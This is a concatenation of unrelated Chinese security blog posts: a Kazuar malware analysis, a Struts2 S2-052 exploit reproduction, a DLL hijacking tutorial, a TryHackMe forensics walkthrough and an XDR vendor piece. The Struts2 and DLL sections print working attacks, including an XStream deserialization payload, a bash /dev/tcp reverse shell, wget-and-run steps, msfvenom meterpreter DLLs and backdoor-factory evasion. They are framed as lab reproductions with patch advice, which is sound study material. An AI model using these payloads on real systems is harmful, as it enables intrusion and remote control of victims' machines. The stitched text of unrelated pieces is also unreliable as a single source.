在zombify模式下,Kazuar被注入到用户的默认浏览器中,并有一个回退机制,在默认浏览器的查询失败时将自己注入到svchost.exe中。下图显示了Kazuar的开发者通常使用zombify一词来处理进程注入: Kazuars在zombify模式下的代码注入片段 多线程模型 Kazuar以多线程模式运行,而Kazuar的每个主要功能都作为自己的线程运行。换句话说,一个线程处理来自其C2的接收命令或任务,而求解线程处理这些命令的执行。这个多线程模型使Kazuar的开发者能够建立一个异步和模块化的流控制。任务解析流如下: Kazuar的任务解决机制图 任务解析器组件:Kazuar的 Puppeteer Kazuar接收新任务,解决它们并将输出写入结果文件。求解线程正在处理从C2服务器或另一个Kazuar节点接收到的新任务。然后对任务内容进行加密,并将其写入磁盘的任务文件中。 每个任务文件实现一个混合加密方案: 1.使用RNGCryptoServiceProvider生成两个包含随机数的字节数组,它们分别是16和32字节。1.1使用第一个数组作为AES (Rijndael)初始化向量(IV)。使用第二个数组作为AES密钥。 2.在将结果加密并写入磁盘之前,基于内存中的result 内容生成HMACMD5哈希,使用上面第一个项目中描述的数组作为密钥。 3.用硬编码的RSA密钥加密HMACMD5哈希、AES密钥和IV,并将加密后的BLOB写到文件的开头。通过使用快速的AES算法来加密较大的对象,例如结果的内容,并使用较慢的RSA加密来隐藏AES密钥和IV, Kazuar提高了其性能。这还禁用了仅从磁盘恢复受攻击文件的选项,因为对称密钥是使用非对称密钥加密的。 4.使用AES加密来加密result 文件的内容。 如下图所示,任务完成后,生成的结果文件将保存到磁盘上: Kazuar加密和写入结果文件方法片段 除了上述加密数据外,Kazuar还将以下字段写入结果文件的开头: 1.四个零字节(研究人员认为这是一种分隔符);生成的结果标识符; 2.加密GUID的长度,使用与初始化部分相同的异或算法(这里的加密消息是“System info at [datetime] (-07)”); 3.加密的GUID本身; 4.RSA加密HMACMD5哈希, IV以及AES密钥; 5.AES加密后的任务内容。 下图显示了来自磁盘的加密结果文件内容: 来自磁盘的加密结果文件内容 字符串加密 Kazuar的代码包含大量与功能和调试相关的字符串。当以纯文本形式显示时,它们揭示了Kazuar的内部工作原理和功能。为了避免研究人员创建基于字符串的指示YARA和检索规则,Kazuar的字符串是加密的,它在运行时解密每个字符串。 Kazuar使用恺撒密码(Caesar cipher)的变体作为字符串加密/解密算法。在这个算法中,Kazuar实现了一个简单地交换每个成员的密钥和值的字典。最近的Kazuar变体只实现了一个字典,而新的变体实现了多个字典,每个字典包含80对字符,如下图所示。 包含用于字符串解密的字典类 下图显示了在给定字符串上迭代的循环,并检查给定字符的序数值是否在相关类的字典键中。如果是,Kazuar交换键和值,并将其附加到精心制作的字符串。否则,它将保持原来的字符。 除了字符串混淆之外,开发者还为代码中的类和方法提供了无意义的名称,以使分析更加困难。 创建反混淆字符串的循环 Kazuar解码的其中一个字符串返回值“Invalid pong response”,如下图所示。似乎有一个恶意软件的编码员忘了把俄语中的C换成英语中的S。 " response "字符串中的错别字 核心功能 为了避免宕机,Kazuar使用被劫持的合法网站作为其C2基础设施,这是Pensive Ursa的典型做法。此外,正如在注入模式一节中提到的,Kazuar还支持通过命名管道进行通信。它使用这两种机制来接收远程命令或任务(如代码中所述)。 支持的C2命令 Kazuar支持从C2接收的45种不同任务,如下表所示。相比之下,Kazuar在2017年分析的第一个变体仅支持26个C2命令。 研究人员将Kazuar的命令分为以下几类: 主机数据收集; 扩展取证数据收集; 文件处理; 任意命令执行; 与Kazuar的配置交互; 注册表查询和操作; 脚本执行(VBS, PowerShell, JavaScript); 自定义网络请求; 窃取凭证和敏感信息; Kazuar支持的C2命令 云、源代码管理和消息应用程序凭证盗窃 Kazuar能够通过接收来自C2的窃取或无人参与命令,尝试从受攻击计算机中的许多工件中窃取凭证。这些工件包括多个众所周知的云应用程序。 Kazuar可以尝试窃取包含这些应用程序凭证的敏感文件。Kazuar针对的工件包括Git SCM(一种在开发人员中流行的源代码控制系统),以及Signal(一种用于私人即时消息的加密消息服务)。 Kazuar可能试图窃取的Git SCM凭证的代码片段 全面的系统评测 当Kazuar最初生成一个唯一的解析线程时,它自动执行的第一个任务是对目标系统进行广泛的收集和分析,Kazuar的开发者将其命名为first_systeminfo_do。Kazuar将收集有关受攻击计算机的大量信息,并将其发送给C2。这包括有关操作系统、硬件和网络的信息。 Kazuar将这些数据保存到info.txt文件中,并将执行日志保存到logs.txt文件中。如任务解析部分所述,我们可以在内存中看到结果。在本文的样本中,它是一个存档,如下图所示。 内存中first_systeminfo_do压缩的结果 除了前面提到的两个文本文件之外,作为该任务的一部分,恶意软件还会截取用户的屏幕截图。下图显示了在加密并发送到C2之前将所有这些文件压缩到一个文件中的过程: 加密前first_systeminfo_do存档提取内存的结果 创建自动任务(auto) Kazuar能够设置以指定间隔运行的自动任务,以从受攻击的计算机收集信息。下图显示了Kazuar配置中记录的该功能的一个示例。 这些自动化任务包括: 收集系统信息; 屏幕截图; 窃取凭证; 获取取证数据; 获取自动运行数据; 正在从指定的文件夹中获取文件; 获取LNK文件列表; 使用MAPI窃取电子邮件; Kazuar的Autos函数配置 监控活动窗口(Peeps) Kazuar有能力让攻击者在配置中设置他们所谓的“peep rules” 。虽然Kazuar没有自带这些规则,但根据恶意软件的代码,似乎这个功能使攻击者能够监控指定进程的窗口。这使得攻击者可以跟踪受攻击设备上感兴趣的用户活动。 与C&C的通信 HTTP 在与C2服务器建立通信之前,除了上述反分析检查外,Kazuar还检查配置数据发送时间间隔,该检查包括确定是否应该在周末发送数据。 在首次通信时,Kazuar以XML格式发送收集到的数据,并期望获得带有新任务的XML结构化响应。 Kazuar使用硬编码值169739e7-2112-9514-6a61-d300c0fef02d转换为字符串,并将Base64编码为cookie。 HTTP POST命令,其正文中包含发送到C2的XML Kazuar为XML生成密钥名,Base64在将内容发送到C2之前对其进行加密。XML的内容包括: 结果文件的加密内容; 结果标识符; 伪随机的4字节数,可能是另一种类型的标识符; 一个基于设备GUID伪随机生成的值数组; 硬编码GUID连接字符串169739e7-2112-9514-6a61-d300c0fef02d; 设备的唯一GUID。 使用命名管道进行通信 除了与C2进行直接HTTP通信外,Kazuar还具有代理功能,可以向受攻击网络中的其他Kazuar代理接收和发送命令,它通过命名管道进行代理通信,根据设备的GUID生成它们的名称。 Kazuar使用这些管道在不同的Kazuar实例之间建立点对点通信,将每个实例配置为服务器或客户端。命名管道通信支持表3所示的远程请求。 使用命名管道的Kazuar请求和响应 反分析检查 Kazuar使用了基于一系列详细检查的多种反分析技术,以确保它不被分析。开发者对Kazuar进行了编程,使其要么在安全的情况下继续运行,要么在调试或分析时保持空闲状态并停止所有C2通信。研究人员可以将这些检查分为三大类:蜜罐、分析工具和沙盒。 反转储 因为Kazuar不是作为一个独立的进程运行,而是被注入到另一个进程中,所以可以从被注入进程的内存中转储它的代码。为了防止这种情况发生,Kazuar使用了.NET的一个强大功能,即System.Reflection命名空间。这使Kazuar能够收集有关其程序集、方法等的实时元数据。 Kazuar检查它是否将antidump_methods设置为true,然后覆盖指向其自定义方法的指针,同时忽略通用的 .NET方法,实际上是将它们从内存中清除(正如Kazuar的日志消息所述)。这最终阻止了研究人员转储完整版本的恶意软件。 蜜罐检查 Kazuar专门搜索的第一件事就是设备上是否存在卡巴斯基蜜罐工件。它使用特定进程名和文件名的硬编码列表来实现这一点。 如果Kazuar发现超过5个这样的文件或进程,它将记录它发现了卡巴斯基蜜罐。下图显示了这些文件名。 Kazuar查找卡巴斯基蜜罐的文件名 分析工具检查 Kazuar列出了不同流行分析工具的硬编码名称,例如: Process Monitor; X32dbg; DnSpy; Wireshark; 它遍历正在运行的进程列表,如果其中一个工具正在运行,Kazuar将记录它找到的分析工具。 沙盒检查 Kazuar有一个硬编码的已知沙盒库列表。它检查是否存在属于不同沙箱服务的某些dll。如果恶意软件发现这些文件,它确定它正在实验室中执行。 事件日志监控器 Kazuar从Windows事件日志中收集和解析事件,下图显示Kazuar专门从以下杀毒/安全供应商处查找事件: 卡巴斯基终端安全; 赛门铁克终端保护客户端; Microsoft Windows Defender; Doctor Web(俄罗斯信息安全产品厂商); 与检查卡巴斯基的蜜罐一样,这些安全产品在受害者中很受欢迎。 Kazuar从特定安全产品收集的事件日志
-
struts2(s2-052)远程命令执行漏洞复现
漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击 漏洞编号: CVE编号:CVE-2017-9805 漏洞复现: 利用弹出计算器复现: 漏洞环境为:win2008sr2+tomcat9.0 1.从struts2的官网下载最后受影响的版本struts-2.5.12,其下载地址: http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip 拿到struts-2.5.12-apps之后,将其中的app目录下的struts2-rest-showcase.war文件放到webapps目录下,我的是 D:\apache-tomcat-9.0.0.M26\webapps 2.浏览器中访问地址:http://ip地址:8080/struts2-rest-showcase/ 会跳转,然后出现下面的页面: 3.点击一个edit进行编译页面,然后提交,并用burp抓包。 并发送到repeater进行修改包如下: 这里将: Content-Type: application/x-www-form-urlencoded 修改为: Content-Type: application/xml post数据改成: 下面的command就是反序列化出来的命令执行: <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map> 4.修改完后,就进行提交包: 可以看到响应页面中有500错误: 5.最终在目标机器弹出了计算器 利用s2-052.py反弹linux下的struts2: 1.环境搭建: 目标靶机:ubuntu16.04x64+docker(ip地址:192.168.1.105) 攻击机:kali(nc运行监听,IP地址:192.168.1.113) 2.dokce镜像地址: https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-037 3.在ubuntu上执行: docker pull medicean/vulapps:s_struts2_s2-037 #拉取镜像到本地 docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-037 #启动环境 最终访问: http://192.168.1.105:8080/orders 4.编写bk.sh脚本,内容为: bash -i >& /dev/tcp/192.168.1.113/666 0>&1 #这里的ip就是我NC监听的IP地址 6.将bk.sh放到hsf搭建的ftp服务器上或者其他提供文件服务器上 7.通过运行python s2-052.py执行如下: python s2-052.py http://192.168.1.105:8080/orders "wget http://192.168.1.102/bk.sh" #下载到目标靶机上 python s2-052.py http://192.168.1.105:8080/orders "/bin/bash ./bk.sh" #执行sh脚本 9.然后在kali进行nc监听,并反弹出shell: nc -lvvp 666 s2-052.py的下载地址: https://raw.githubusercontent.com/backlion/demo/master/s2-052%20.py msf下的反弹struts2的shell: 测试环境: 目标靶机:ubuntu16.04x64+docker(采用如上文说的利用s2-052.py反弹linux下的struts2搭建环境) 攻击机:kali2017(貌似在kali2016上有点问题,加载不了payload) 1.在kali上执行: root@kali2017:~# cd /opt root@kali2017:/opt# wget https://raw.githubusercontent.com/wvu-r7/metasploit-framework/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/strut root@kali2017:/opt# cp struts2_rest_xstream.rb /usr/share/metasploit-framework/modules/exploits/multi/http/ root@kali2017:/opt# msfconsole msf > use exploit/multi/http/struts2_rest_xstream msf exploit(struts2_rest_xstream) > show options msf exploit(struts2_rest_xstream) > set rhost 192.168.1.105 msf exploit(struts2_rest_xstream) > set rport 8080 msf exploit(struts2_rest_xstream) > set target /orders msf exploit(struts2_rest_xstream) > set lhost 192.168.1.113 msf exploit(struts2_rest_xstream) > set lport 443 msf exploit(struts2_rest_xstream) > exploit 可以看到成功反弹shell 受影响版本: Apache Struts Version:Struts 2.5 - Struts 2.5.12 漏洞修复建议: 1、升级到Apache Struts版本2.5.13 2、最好的选择是在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs: <constant name="struts.action.extension" value="xhtml,,json" /> 3、限制服务端扩展类型,删除XML支持。 由于应用的可用类的默认限制,某些REST操作可能会停止工作。在这种情况下,请调查介绍的新接口以允许每个操作定义类限制,那些接口是: org.apache.struts2.rest.handler.AllowedClasses org.apache.struts2.rest.handler.AllowedClassNames org.apache.struts2.rest.handler.XStreamPermissionProvider
-
【滴滴滴】通知后几天文章更新路径-网络安全原理
通知 下面将会发布四篇文章以小白的视角(我压根不用装,因为我也是第一次学)来第一人称学习一下计算机网络一些原理 而且较为基础,请不要认为我在水文章,反而我坚定的认为这些基础的知识为以后的渗透思路能提供很大帮助! 模块地址:https://tryhackme.com/paths 其中第一篇网络安全只是引入安全就不必为大家更新 更新一下后四章,一章一个文章 深深解析一下:
-
Dll劫持漏洞详解
一、dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。 如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去按照顺序搜索这些特定目录时下查找这个DLL,只要黑客能够将恶意的DLL放在优先于正常DLL所在的目录,就能够欺骗系统优先加载恶意DLL,来实现“劫持” 二、dll的原理利用 2.1 Windows XP SP2之前 Windows查找DLL的目录以及对应的顺序: 1. 进程对应的应用程序所在目录; 2. 当前目录(Current Directory); 3. 系统目录(通过 GetSystemDirectory 获取); 4. 16位系统目录; 5. Windows目录(通过 GetWindowsDirectory 获取); 6. PATH环境变量中的各个目录; 例如:对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。 2.2在winxdows xp sp2之后 Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启): 默认注册表为:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其键值为1 1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent); 2. 系统目录(即%windir%system32); 3. 16位系统目录(即%windir%system); 4. Windows目录(即%windir%); 5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest); 6. PATH环境变量中的各个目录; 2.3 windows7以上 系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 那么最终Windows203以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。 三、DLL漏洞检查 3.1使用Process Explorer检查 这里主要找到应用程序dll_hijack_test.exe加载的dll主要调用了dll_hijack_test_dll.dll,而这个dll在KnownDLLs没有,所以存在DLL劫持,建议使用手工查找。 3.2使用DLL Hijacking Auditor(DLL劫持审计器) http://securityxploded.com/getsoftware_direct.php?id=7777,此工具只能运行在32位上,貌似误报有点多。 3.3使用自动化rattler dll检查工具 下载地址:https://github.com/sensepost/rattler/releases 3.4 检查步骤方法 1.启动应用程序 2.使用Process Explorer等类似软件查看该应用程序启动后加载的动态链接库。 3.从该应用程序已经加载的DLL列表中,查找在上述“KnownDLLs注册表项”中不存在的DLL。 4.通过msf生成劫持的dll漏洞名,或者用K8dllhijack.dll改成劫持的dll名来测试是否存在劫持。 5.将编写好的劫持DLL放到该应用程序目录下,重新启动该应用程序,检测是否劫持成功 3.4 InjectProc实现自动注入dll 1. InjectProc.exe dll_inj mbox.dll notepad.exe #这里的DLL是可以是msf生成的dll或者远控生成的dll,notepad.exe就是进程里面打开的应用程序名 3.5 DLL存在劫持漏洞搜索库 DLL劫持漏洞翻译成英文叫做 DLL Hijacking Vulnerability,CWE将其归类为 Untrusted Search Path Vulnerability。如果想要去CVE数据库中搜索DLL劫持漏洞案例,搜索这两个关键词即可。 Corelan博客-提供了存在漏洞(DLL劫持)的应用程序列表(非官方): http://www.corelan.be:8800/index.php/2010/08/25/dll-hijacking-kb-2269637-the-unofficial-list/ exploit-db网站-提供了存在漏洞(DLL劫持)的应用程序列表: http://www.exploit-db.com/dll-hijacking-vulnerable-applications/ 四、DLL劫持漏洞利用场景 4.1 针对应用程序安装目录的DLL劫持 前提条件需要是管理员权限,一般程序运行的进程对应的目录在默认的%ProgramFiles% 或者是 %ProgramFiles(x86)%下 4.2 针对文件关联的DLL劫持 就是当打开某个文件类型时,会在进程中加载某个应用程序,那么应用程序会关联某个DLL加载,而这时候如何关联的dll不存在,那么最终会在当前目录下查找到关联的dll,这个DLL就是我们恶意的dll. 4.3 针对安装程序的DLL劫持 主要是应用程序安装包,放一个恶意的dll到当期安装包目录下就会被劫持 4.4 msf下dll的劫持利用 1.在kali下使用Msfvenom创建恶意DLL文件 x86: msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 lport=4444 -f dll>存在劫持dll名.dll x64: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 -f dll >存在劫持dll名.dll 2.msf开启反弹shell监听: use exploit/multi/handler set payload windows/meterpreter/reverse_tcp(x86) set payload windows/x64/meterpreter/reverse_tcp(x64) set lhost 192.168.1.110 set lport 555 exploit 将生产劫持的dll拷贝到存在劫持漏洞的应用程序目录下,然后执行应用程序。这里我将用InjectProc来执行DLL劫持。 injectPro.exe dll_inj MSF生成的dll 劫持的程序名 然后只要运行记事本,就会反弹msf: 需要用到的工具:(包括用到的利用工具和测试文件) https://raw.githubusercontent.com/backlion/demo/master/dll.zip 另附上: dll劫持生产工具backdoor-factory免杀和msf的结合 backdoor-factory -f /opt/劫持名.dll -s reverse_shell_tcp_inline -P 192.168.1.110 -H 555 use exploit/multi/handler set payload windows/shell_reverse_tcp set lhost 192.168.1.110 set lport 555 exploit
-
【Thm蓝队】introdigitalforensics之简单数字取证
前言 房间地址:https://tryhackme.com/room/introdigitalforensics 作为一名数字取证调查员,您会看到与上图所示类似的场景。作为数字取证调查员,您应该做什么?获得适当的法律授权后,基本计划如下: 获取证据:收集笔记本电脑、存储设备、数码相机等数字设备。(请注意,笔记本电脑和计算机在打开时需要特殊处理;但是,这超出了本房间的范围。) 建立监管链:正确填写相关表格(样本表格)。目的是确保只有经过授权的调查人员才能获取证据,并且任何人都无法篡改证据。 将证据放在安全的容器中:您要确保证据不会损坏。对于智能手机,您需要确保它们无法访问网络,这样它们就不会被远程擦除。 将证据传输到您的数字取证实验室。 在实验室,过程如下: 从安全容器中检索数字证据。 创建证据的取证副本:取证副本需要先进的软件以避免修改原始数据。 将数字证据返回到安全容器:您将处理副本。如果您损坏了副本,您随时可以创建一个新副本。 开始在取证工作站上处理副本。 上述步骤改编自计算机取证和调查指南,第 6 版。 更一般地说,根据国防计算机取证实验室前主任 Ken Zatyko 的说法,数字取证包括: 适当的搜查授权:如果没有适当的法律授权,调查人员就无法开始搜查。 监管链:这对于随时跟踪谁持有证据是必要的。 用数学验证:使用一种特殊的数学函数(称为哈希函数),我们可以确认文件未被修改。 使用经过验证的工具:数字取证中使用的工具应经过验证,以确保它们正常工作。例如,如果您要创建磁盘映像,您需要确保取证映像与磁盘上的数据相同。 可重复性:只要有适当的技能和工具,数字取证的结果就可以重现。 报告:数字取证调查以一份报告结束,该报告显示与所发现的案件相关的证据。 实战 主要是取证第三关: 我们在数字设备(从智能手机到计算机)上所做的一切都会留下痕迹。让我们看看在后续的调查中如何使用它。 我们的猫加多被绑架了。绑匪已向我们发送了一份 MS Word 文档格式的文件,其中包含他们的请求。为了您的方便,我们已将文档转换为 PDF 格式,并从 MS Word 文件中提取图像。 您可以将附件下载到本地机器进行检查;但是,为了您的方便,我们已将文件添加到 AttackBox 中。要继续操作,请打开 AttackBox 上的终端,然后转到/root/Rooms/introdigitalforensics 如下所示的目录。在以下终端输出中,我们更改为包含案例文件的目录。终端 root# cd /root/Rooms root# cd introdigitalforensics root# ls letter-image.jpg ransom-letter.doc ransom-letter.pdf ransom-lettter-2.zip 文档元数据 当您创建文本文件时,TXT操作系统会保存一些元数据,例如文件创建日期和上次修改日期。但是,当您使用更高级的编辑器(例如 MS Word)时,许多信息会保留在文件的元数据中。读取文件元数据的方式有多种;您可以在其官方查看器/编辑器中打开它们或使用合适的取证工具。请注意,将文件导出为其他格式(例如 )PDF将保留原始文档的大部分元数据,具体取决于所使用的 PDF 编写器。 让我们看看我们能从 PDF 文件中了解到什么。我们可以尝试使用该程序读取元数据pdfinfo。Pdfinfo 显示与 PDF 文件相关的各种元数据,例如标题、主题、作者、创建者和创建日期。(AttackBox 已经pdfinfo安装;但是,如果您使用的是 Kali Linux 并且尚未pdfinfo安装,则可以使用 进行安装sudo apt install poppler-utils。)请考虑以下使用 的示例pdfinfo DOCUMENT.pdf。终端 user@TryHackMe$ pdfinfo DOCUMENT.pdf Creator: Microsoft® Word for Office 365 Producer: Microsoft® Word for Office 365 CreationDate: Wed Oct 10 21:47:53 2018 EEST ModDate: Wed Oct 10 21:47:53 2018 EEST Tagged: yes UserProperties: no Suspects: no Form: none JavaScript: no Pages: 20 Encrypted: no Page size: 595.32 x 841.92 pts (A4) Page rot: 0 File size: 560362 bytes Optimized: no PDF version: 1.7 PDF 元数据清楚地表明它是于 2018 年 10 月 10 日使用 MS Word for Office 365 创建的。回答以下问题 使用pdfinfo查找所附 PDF 文件的作者。提交 照片 EXIF 数据 EXIF 代表可交换图像文件格式;它是将元数据保存到图像文件的标准。每当您使用智能手机或数码相机拍照时,图像中都会嵌入大量信息。以下是可以在原始数字图像中找到的元数据的示例: 相机型号/智能手机型号 图像捕捉的日期和时间 照片设置,例如焦距、光圈、快门速度和 ISO 设置 由于智能手机配备了 GPS 传感器,因此很有可能找到嵌入在图像中的 GPS 坐标。GPS坐标,即纬度和经度,通常会显示照片拍摄的地点。 有许多在线和离线工具可以从图像中读取 EXIF 数据。一种命令行工具是exiftool. ExifTool 用于读取和写入各种文件类型(例如 JPEG 图像)中的元数据。(AttackBox 已经exiftool安装;但是,如果您使用的是 Kali Linux 并且尚未exiftool安装,则可以使用安装它sudo apt install libimage-exiftool-perl。)在下面的终端窗口中,我们执行exiftool IMAGE.jpg读取此图像中嵌入的所有 EXIF 数据。终端 user@TryHackMe$ exiftool IMAGE.jpg [...] GPS Position : 51 deg 31' 4.00" N, 0 deg 5' 48.30" W [...] 如果您使用上述坐标并搜索一张在线地图,您将了解有关该位置的更多信息。搜索Microsoft Bing 地图或Google 地图显示51° 31' 4.00" N, 0° 5' 48.30" W,这些坐标表明该图像是在伦敦博物馆附近拍摄的。(我们只是将 替换deg为°以使搜索正常工作。)我们注意到搜索页面上的坐标已转换为十进制表示形式:51.517776, -0.09675。 使用exiftool或任何类似的工具,尝试找到绑匪在何处获取他们附加到文档中的图像。街道的名称是什么? 下载附件: 打开一看是三个不同后缀的文件 打开看看 打开 可以看见都是猫猫,其实域也是一个猫猫爱好者 看看题目 取证分析PDF sudo apt install poppler-utils #安装PDF数字取证 取证PDF pdfinfo ransom-letter.pdf 来看下一题 取证分析照片 先安装一下exiftool sudo apt install libimage-exiftool-perl 取证分析jpg exiftool letter-image.jpg 结果: 结果太多,省略部分结果 看一下GPS经纬度 把deg换成° 换算后是: 51°30' 51.90" N, 0° 5' 38.73" W 复制答案 OK
-
为何说XDR是对抗武器化人工智能的首道防线
如今,众多攻击者利用无恶意软件的间谍技术实施无法检测到的破坏,依靠合法的系统工具和寄生攻击(LOTL)技术来渗入端点。无恶意软件的攻击有赖于用户对合法工具的信任,很少生成唯一的特征码,并且依赖无文件执行。 在CrowdStrike追踪分析及其《2023年威胁狩猎报告》阐述的所有恶意活动中,CrowdStrike威胁图索引的检测中有71%没有恶意软件。总共有14%的入侵事件依赖基于Falcon OverWatch跟踪的活动的远程监控和管理(RMM)工具,攻击者增加了使用RMM工具进行无恶意软件攻击的数量,同比增长了惊人的312%。 随着FraudGPT标志着武器化人工智能新时代开始到来,而企业面临输掉人工智能战争的风险。人工智能、机器学习和生成式人工智能整合到扩展检测和响应(XDR)中就需要快速行动起来,以阻止无恶意软件和人工智能带来的新攻击。 XDR提供了CISO们一直所需要的那种整合。 XDR改善了信噪比 通过依赖在大规模整合的API和平台,XDR平台充分利用了每个可用的遥测数据源,以便实时检测和响应潜在的入侵和破坏企图。事实证明,这些平台能够有效地减少网络噪声,并发现表明潜在入侵或攻击的信号。 据Cynet 2022年对CISO开展的调查显示,XDR对CISO们来说是一种有效的整合策略:96%的CISO计划整合其安全平台,63%的CISO表示XDR是自己的首选解决方案。 几乎所有接受调查的CISO都表示,整合工作已在他们的路线图上,高于2021年的61%。Gartner公司预测,到2027年年底,多达40%的企业将使用XDR来减少现有安全供应商的数量,而如今这个比例还不到5%。 所有XDR领导者都有一个特点,那就是他们的团队中人工智能和机器学习方面的人才密度很高。领先的XDR平台提供商包括:博通、思科、CrowdStrike、飞塔、微软、派拓网络、SentinelOne、Sophos、TEHTRIS、趋势科技和VMWare。 图1. 图片来源:CrowdStrike博文《XDR是什么?》 做好XDR:从端点入手 端点是企图大规模入侵的攻击者秘密潜入的首选通道:在62%以上的时间里,攻击者使用窃取而来的身份访问试图获取访问权,并不断微调间谍技术,以期找到身份和端点安全方面的缺口,这是端点最薄弱的环节。 保险、金融服务和银行业的CISO告诉外媒,端点是需要保护的威胁面,面临的挑战最大。IT团队和安全团队通常不知道自己有多少端点、每个端点在哪里及其软件物料清单(SBOM)。清理端点代理散乱问题和实现补丁管理自动化是许多CISO一开始想要实现的目标。 CISO们表示,常常发现端点上安装过多的代理,以至于从安全的角度来看无法运作,软件冲突使得端点更容易受到攻击,因而它们更难远程管理,可能会削弱性能。 Absolute Software公司的《2023年弹性指数》使用了其5亿个端点设备的匿名遥测数据,以了解其客户平均拥有多少个端点。结果发现,典型的企业设备安装了11个安全代理,其中2.5个用于端点管理,2.1个用于反病毒/反恶意软件,平均1.6个用于加密。Absolute的设备遥测数据发现,企业设备上平均安装了67个应用程序,其中10%的设备安装了100多个应用程序。 端点补丁管理自动化 一家制造商的CIO告诉外媒,虽然打补丁的工作一直是重中之重,但自己没有足够多的员工来确保所有补丁都是最新版本。CISO的同事们一致认为,补丁管理只有在紧急情况下才会得到关注,即在遭到入侵或破坏之后。 这个结论与Ivanti公司的《2023年安全准备状况报告》相一致,Ivanti发现,在61%的时间里,外部事件、入侵企图或泄密重新启动补丁管理工作。 Mukkamala告诉外媒,他预计补丁管理会变得更加自动化,人工智能助理会提供更多的上下文信息和更高的预测准确性。 图2. 图片来源:Ivanti Ivanti的漏洞风险评级(VRR)评分方法依赖0到10之间的分配分数,该分数表明漏洞对组织或企业的风险。风险越高,VRR就越高。 AI通过自愈合端点增强XDR弹性 在零信任环境下做好网络弹性从端点入手。董事会和向董事会汇报的CISO表示,网络弹性现在被认为是风险管理的必备条件。Absolute Software的《2023年弹性指数》反映了在遵守合规要求才能连接这个趋势下面临的挑战。平衡网络安全和网络弹性是目标。 CISO们表示,自愈合端点是稳固的网络弹性战略的基石。自愈合端点提供可靠的实时遥测数据流来训练人工智能和机器学习模型,并夯实XDR平台。与上一代基于约束和规则的解决方案相比,它们还更难以逃避和破坏。基于人工智能和机器学习的端点可以在短短几毫秒内检测并应对潜在的攻击,鉴于机器对机器攻击迅速增多,这么快的响应时间对如今的企业来说是基本要求。 领先的自愈合端点供应商包括Absolute Software、Akamai、BlackBerry、CrowdStrike、思科、Malwarebytes、迈克菲和Microsoft 365。有媒体采访了每家供应商的客户,发现Absolute的方法嵌入到超过5亿个端点设备的固件中,为SOC团队提供他们及其XDR平台所需的实时遥测数据方面是最可靠的。 XDR:对抗武器化人工智能的首道防线 如果网络安全行业及其服务的许多组织要保持安全,XDR平台就需要加快步伐,充分发挥人工智能和机器学习技术的全部价值这一挑战。人工智能战争谁也输不起,攻击者将身份和端点方面的缺口视为控制网络和基础设施的机会。 最令人不安的是,传统的基于边界的系统假定对每个身份、端点和连接都有无限的信任,一旦攻击者闯入了端点,就可以不受限制地访问任何系统。 做好XDR需要从端点入手。清理代理散乱问题将有助于提高端点可见性和性能,并使用具有学习能力的人工智能和机器学习技术实现补丁管理自动化,而不是等待下一次安全事件发生,这会让IT团队避免攻防演习和浪费的时间。 